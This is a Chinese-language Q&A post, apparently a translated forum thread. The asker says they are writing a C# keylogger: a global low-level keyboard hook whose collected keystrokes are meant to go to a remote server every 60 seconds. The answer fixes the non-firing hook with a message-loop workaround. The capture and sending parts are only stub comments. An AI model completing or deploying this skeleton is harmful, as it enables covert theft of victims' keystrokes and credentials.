在.NET应用程序中未调用低级键盘钩子

Question

我正在用C#编写一个键盘记录器,但是在从键盘事件中调用我的钩子方法时遇到了一些麻烦.我的代码看起来是正确的但由于某种原因回调没有发生.

这是相关代码:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;

static void Main()
{
    /* install low level global keyboard hook */
    HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);

    /* every 60 seconds, process collected keystrokes */
    for (;;)
    {
        Thread.Sleep(60000);
        SendKeyData();
    }
}

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    /* code to handle key events would be here */

    return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}

private static void SendKeyData()
{
    /* code to send accumulated keystroke data to remote server would be here */
}

该SetWindowsHookEx调用返回一个句柄(即不是null),因此它应该意味着它已经安装,但是当我放入断点时HookCallback,它永远不会到达.

任何人都可以告诉我可能做错了什么？

Answer 1

看起来您正在编写一个控制台应用程序。这应该是一个表单应用程序，因为您正在处理窗口事件。只需隐藏表单，它就应该可以工作。

作为控制台应用程序的解决方法，您可以Application.DoEvents()在循环中调用：

for (;;)
{
    Thread.Sleep(1);
    Application.DoEvents(); //Process event queue
    SendKeyData();
}

请将此用于行善，而不是作恶。